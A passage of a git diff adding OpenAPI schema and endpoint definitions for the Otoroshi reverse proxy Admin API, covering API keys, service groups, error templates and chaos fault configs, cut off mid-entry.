: { }, + "title" : "S a m l signature algorithm r s a-s h a1" + }, + "chaosconfig" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "largeRequestFaultConfig" : { + "$ref" : "#/components/schemas/largerequestfaultconfig" + }, + "largeResponseFaultConfig" : { + "$ref" : "#/components/schemas/largeresponsefaultconfig" + }, + "latencyInjectionFaultConfig" : { + "$ref" : "#/components/schemas/latencyinjectionfaultconfig" + }, + "badResponsesFaultConfig" : { + "$ref" : "#/components/schemas/badresponsesfaultconfig" + } + }, + "title" : "Chaos config", + "required" : [ "enabled" ] + }, + "GlobalConfigImportBody" : { + "type" : "object", + "description" : "" + }, + "sessioncookievalues" : { + "type" : "object", + "properties" : { + "httpOnly" : { + "type" : "boolean" + }, + "secure" : { + "type" : "boolean" + } + }, + "title" : "Session cookie values", + "required" : [ "httpOnly", "secure" ] + }, + "eskpalgosettings" : { + "type" : "object", + "properties" : { + "size" : { + "type" : "number" + }, + "certId" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "E s k p algo settings", + "required" : [ "size", "certId" ] + }, + "geolocationmatch" : { + "type" : "object", + "properties" : { + "positions" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/geopositionradius" + } + } + }, + "title" : "Geolocation match", + "required" : [ "positions" ] + }, + "dataexporterconfigtypeotlpmetrics" : { + "type" : "object", + "properties" : { }, + "title" : "Data exporter config type otlp metrics" + }, + "clientauthnone" : { + "type" : "object", + "properties" : { }, + "title" : "Client auth none" + }, + "proxy.otoroshi.io.Backend" : { + "type" : "object", + "properties" : { + "location" : { + "$ref" : "#/components/schemas/entitylocation" + }, + "id" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "description" : { + "type" : "string", + "minLength" : 1 + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "backend" : { + "$ref" : "#/components/schemas/ngbackend" + } + }, + "title" : "Stored ng backend", + "required" : [ "location", "id", "name", "description", "tags", "metadata", "backend" ] + }, + "jsstring" : { + "type" : "object", + "properties" : { + "value" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Js string", + "required" : [ "value" ] + }, + "organize.otoroshi.io.ServiceGroup" : { + "type" : "object", + "description" : "The otoroshi model for a group of services", + "properties" : { + "id" : { + "type" : "string", + "description" : "A unique random string to identify your service" + }, + "_loc" : { + "$ref" : "#/components/schemas/otoroshi.models.EntityLocation", + "description" : "Entity location" + }, + "name" : { + "type" : "string", + "description" : "The name of your service. Only for debug and human readability purposes" + }, + "metadata" : { + "type" : "object", + "additionalProperties" : { + "type" : "string" + }, + "description" : "Just a bunch of random properties" + }, + "description" : { + "type" : "string", + "description" : "Entity description" + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string" + }, + "description" : "Entity tags" + } + } + }, + "entityidentifier" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/routecompositionidentifier" + }, { + "$ref" : "#/components/schemas/routeidentifier" + }, { + "$ref" : "#/components/schemas/servicedescriptoridentifier" + }, { + "$ref" : "#/components/schemas/servicegroupidentifier" + } ] + }, + "userrights" : { + "type" : "object", + "properties" : { + "rights" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/userright" + } + } + }, + "title" : "User rights", + "required" : [ "rights" ] + }, + "preroutingref" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "excludedPatterns" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "refs" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "config" : { + "$ref" : "#/components/schemas/jsvalue" + } + }, + "title" : "Pre routing ref", + "required" : [ "enabled", "excludedPatterns", "refs", "config" ] + } + }, + "securitySchemes" : { + "otoroshi_auth" : { + "type" : "http", + "scheme" : "basic" + } + } + } +} \ No newline at end of file diff --git a/docs/manual/code/swagger.json b/docs/manual/code/swagger.json new file mode 100644 index 0000000000..457835c92d --- /dev/null +++ b/docs/manual/code/swagger.json @@ -0,0 +1,8099 @@ +{ + "openapi" : "3.0.0", + "info" : { + "version" : "1.5.0-dev", + "title" : "Otoroshi Admin API", + "description" : "Admin API of the Otoroshi reverse proxy", + "contact" : { + "name" : "Otoroshi Team", + "email" : "oss@maif.fr" + }, + "license" : { + "name" : "Apache 2.0", + "url" : "http://www.apache.org/licenses/LICENSE-2.0.html" + } + }, + "tags" : [ { + "name" : "configuration", + "description" : "Everything about Otoroshi global configuration" + }, { + "name" : "import", + "description" : "Everything about Otoroshi import/export" + }, { + "name" : "templates", + "description" : "Everything about Otoroshi entities templates" + }, { + "name" : "environments", + "description" : "Everything about Otoroshi Environments" + }, { + "name" : "groups", + "description" : "Everything about Otoroshi service groups" + }, { + "name" : "apikeys", + "description" : "Everything about Otoroshi api keys" + }, { + "name" : "services", + "description" : "Everything about Otoroshi service descriptors" + }, { + "name" : "stats", + "description" : "Everything about Otoroshi stats" + }, { + "name" : "snowmonkey", + "description" : "Everything about Otoroshi Snow Monkey" + }, { + "name" : "health", + "description" : "Everything about Otoroshi health status" + }, { + "name" : "jwt-verifiers", + "description" : "Everything about Otoroshi global JWT token verifiers" + }, { + "name" : "auth-config", + "description" : "Everything about Otoroshi global auth. module config" + }, { + "name" : "scripts", + "description" : "Everything about Otoroshi request transformer scripts" + }, { + "name" : "certificates", + "description" : "Everything about Otoroshi SSL/TLS certificates" + }, { + "name" : "validation-authorities", + "description" : "Everything about Otoroshi validation authorities" + }, { + "name" : "data-exporter-configs", + "description" : "Everything about Otoroshi data exporters" + } ], + "externalDocs" : { + "description" : "Find out more about Otoroshi", + "url" : "https://maif.github.io/otoroshi/" + }, + "servers" : [ { + "url" : "http://otoroshi-api.oto.tools/" + } ], + "paths" : { + "/new/apikey" : { + "get" : { + "deprecated" : false, + "tags" : [ "templates" ], + "summary" : "Get a template of an Otoroshi Api Key", + "description" : "Get a template of an Otoroshi Api Key. The generated entity is not persisted", + "operationId" : "initiateApiKey", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ApiKey" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/new/service" : { + "get" : { + "deprecated" : false, + "tags" : [ "templates" ], + "summary" : "Get a template of an Otoroshi service descriptor", + "description" : "Get a template of an Otoroshi service descriptor. The generated entity is not persisted", + "operationId" : "initiateService", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Service" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/new/group" : { + "get" : { + "deprecated" : false, + "tags" : [ "templates" ], + "summary" : "Get a template of an Otoroshi service group", + "description" : "Get a template of an Otoroshi service group. The generated entity is not persisted", + "operationId" : "initiateServiceGroup", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Group" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/lines" : { + "get" : { + "deprecated" : false, + "tags" : [ "environments" ], + "summary" : "Get all environments", + "description" : "Get all environments provided by the current Otoroshi instance", + "operationId" : "allLines", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Environment" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/lines/{line}/services" : { + "get" : { + "deprecated" : false, + "tags" : [ "environments" ], + "summary" : "Get all services for an environment", + "description" : "Get all services for an environment provided by the current Otoroshi instance", + "operationId" : "servicesForALine", + "parameters" : [ { + "in" : "path", + "name" : "line", + "required" : true, + "description" : "The environment where to find services", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/Service" + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/services/{serviceId}/apikeys/{clientId}/quotas" : { + "get" : { + "deprecated" : false, + "tags" : [ "apikeys" ], + "summary" : "Get the quota state of an api key", + "description" : "Get the quota state of an api key", + "operationId" : "apiKeyQuotas", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The api key service id", + "schema" : { + "type" : "string" + } + }, { + "in" : "path", + "name" : "clientId", + "required" : true, + "description" : "the api key id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Quotas" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "delete" : { + "deprecated" : false, + "tags" : [ "apikeys" ], + "summary" : "Reset the quota state of an api key", + "description" : "Reset the quota state of an api key", + "operationId" : "resetApiKeyQuotas", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The api key service id", + "schema" : { + "type" : "string" + } + }, { + "in" : "path", + "name" : "clientId", + "required" : true, + "description" : "the api key id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Quotas" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/services/{serviceId}/apikeys/{clientId}/group" : { + "get" : { + "deprecated" : false, + "tags" : [ "apikeys" ], + "summary" : "Get the group of an api key", + "description" : "Get the group of an api key", + "operationId" : "apiKeyGroup", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The api key service id", + "schema" : { + "type" : "string" + } + }, { + "in" : "path", + "name" : "clientId", + "required" : true, + "description" : "the api key id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Group" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/services/{serviceId}/apikeys/{clientId}" : { + "get" : { + "deprecated" : false, + "tags" : [ "apikeys" ], + "summary" : "Get an api key", + "description" : "Get an api key for a specified service descriptor", + "operationId" : "apiKey", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The api key service id", + "schema" : { + "type" : "string" + } + }, { + "in" : "path", + "name" : "clientId", + "required" : true, + "description" : "the api key id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ApiKey" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "put" : { + "deprecated" : false, + "tags" : [ "apikeys" ], + "summary" : "Update an api key", + "description" : "Update an api key for a specified service descriptor", + "operationId" : "updateApiKey", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The api key service id", + "schema" : { + "type" : "string" + } + }, { + "in" : "path", + "name" : "clientId", + "required" : true, + "description" : "the api key id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ApiKey" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ApiKey" + } + } + } + } + }, + "patch" : { + "deprecated" : false, + "tags" : [ "apikeys" ], + "summary" : "Update an api key with a diff", + "description" : "Update an api key for a specified service descriptor with a diff", + "operationId" : "patchApiKey", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The api key service id", + "schema" : { + "type" : "string" + } + }, { + "in" : "path", + "name" : "clientId", + "required" : true, + "description" : "the api key id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ApiKey" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Patch" + } + } + } + } + }, + "delete" : { + "deprecated" : false, + "tags" : [ "apikeys" ], + "summary" : "Delete an api key", + "description" : "Delete an api key for a specified service descriptor", + "operationId" : "deleteApiKey", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The api key service id", + "schema" : { + "type" : "string" + } + }, { + "in" : "path", + "name" : "clientId", + "required" : true, + "description" : "the api key id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Deleted" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/services/{serviceId}/apikeys" : { + "get" : { + "deprecated" : false, + "tags" : [ "apikeys" ], + "summary" : "Get all api keys for the group of a service", + "description" : "Get all api keys for the group of a service", + "operationId" : "apiKeys", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The api key service id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/ApiKey" + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "post" : { + "deprecated" : false, + "tags" : [ "apikeys" ], + "summary" : "Create a new api key for a service", + "description" : "", + "operationId" : "createApiKey", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The api key service id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ApiKey" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ApiKey" + } + } + } + } + } + }, + "/api/groups/{groupId}/apikeys/{clientId}/quotas" : { + "get" : { + "deprecated" : false, + "tags" : [ "apikeys" ], + "summary" : "Get the quota state of an api key", + "description" : "Get the quota state of an api key", + "operationId" : "apiKeyFromGroupQuotas", + "parameters" : [ { + "in" : "path", + "name" : "groupId", + "required" : true, + "description" : "The api key group id", + "schema" : { + "type" : "string" + } + }, { + "in" : "path", + "name" : "clientId", + "required" : true, + "description" : "the api key id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Quotas" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "delete" : { + "deprecated" : false, + "tags" : [ "apikeys" ], + "summary" : "Reset the quota state of an api key", + "description" : "Reset the quota state of an api key", + "operationId" : "resetApiKeyFromGroupQuotas", + "parameters" : [ { + "in" : "path", + "name" : "groupId", + "required" : true, + "description" : "The api key group id", + "schema" : { + "type" : "string" + } + }, { + "in" : "path", + "name" : "clientId", + "required" : true, + "description" : "the api key id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Quotas" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/groups/{groupId}/apikeys/{clientId}" : { + "get" : { + "deprecated" : false, + "tags" : [ "apikeys" ], + "summary" : "Get an api key", + "description" : "Get an api key for a specified service group", + "operationId" : "apiKeyFromGroup", + "parameters" : [ { + "in" : "path", + "name" : "groupId", + "required" : true, + "description" : "The api key group id", + "schema" : { + "type" : "string" + } + }, { + "in" : "path", + "name" : "clientId", + "required" : true, + "description" : "the api key id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ApiKey" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "put" : { + "deprecated" : false, + "tags" : [ "apikeys" ], + "summary" : "Update an api key", + "description" : "Update an api key for a specified service group", + "operationId" : "updateApiKeyFromGroup", + "parameters" : [ { + "in" : "path", + "name" : "groupId", + "required" : true, + "description" : "The api key group id", + "schema" : { + "type" : "string" + } + }, { + "in" : "path", + "name" : "clientId", + "required" : true, + "description" : "the api key id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ApiKey" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ApiKey" + } + } + } + } + }, + "patch" : { + "deprecated" : false, + "tags" : [ "apikeys" ], + "summary" : "Update an api key with a diff", + "description" : "Update an api key for a specified service descriptor with a diff", + "operationId" : "patchApiKeyFromGroup", + "parameters" : [ { + "in" : "path", + "name" : "groupId", + "required" : true, + "description" : "The api key group id", + "schema" : { + "type" : "string" + } + }, { + "in" : "path", + "name" : "clientId", + "required" : true, + "description" : "the api key id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ApiKey" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Patch" + } + } + } + } + }, + "delete" : { + "deprecated" : false, + "tags" : [ "apikeys" ], + "summary" : "Delete an api key", + "description" : "Delete an api key for a specified service group", + "operationId" : "deleteApiKeyFromGroup", + "parameters" : [ { + "in" : "path", + "name" : "groupId", + "required" : true, + "description" : "The api key group id", + "schema" : { + "type" : "string" + } + }, { + "in" : "path", + "name" : "clientId", + "required" : true, + "description" : "the api key id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Deleted" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/groups/{groupId}/apikeys" : { + "get" : { + "deprecated" : false, + "tags" : [ "apikeys" ], + "summary" : "Get all api keys for the group of a service", + "description" : "Get all api keys for the group of a service", + "operationId" : "apiKeysFromGroup", + "parameters" : [ { + "in" : "path", + "name" : "groupId", + "required" : true, + "description" : "The api key group id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/ApiKey" + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "post" : { + "deprecated" : false, + "tags" : [ "apikeys" ], + "summary" : "Create a new api key for a group", + "description" : "Create a new api key for a group", + "operationId" : "createApiKeyFromGroup", + "parameters" : [ { + "in" : "path", + "name" : "groupId", + "required" : true, + "description" : "The api key group id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ApiKey" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ApiKey" + } + } + } + } + } + }, + "/api/apikeys" : { + "get" : { + "deprecated" : false, + "tags" : [ "apikeys" ], + "summary" : "Get all api keys", + "description" : "Get all api keys", + "operationId" : "allApiKeys", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/ApiKey" + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/services/{serviceId}/template" : { + "get" : { + "deprecated" : false, + "tags" : [ "services" ], + "summary" : "Get a service descriptor error template", + "description" : "Get a service descriptor error template", + "operationId" : "serviceTemplate", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The service id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorTemplate" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "put" : { + "deprecated" : false, + "tags" : [ "services" ], + "summary" : "Update an error template to a service descriptor", + "description" : "Update an error template to a service descriptor", + "operationId" : "updateServiceTemplate", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The service id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorTemplate" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorTemplate" + } + } + } + } + }, + "post" : { + "deprecated" : false, + "tags" : [ "services" ], + "summary" : "Create a service descriptor error template", + "description" : "Update a service descriptor targets", + "operationId" : "createServiceTemplate", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The service id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorTemplate" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorTemplate" + } + } + } + } + }, + "delete" : { + "deprecated" : false, + "tags" : [ "services" ], + "summary" : "Delete a service descriptor error template", + "description" : "Delete a service descriptor error template", + "operationId" : 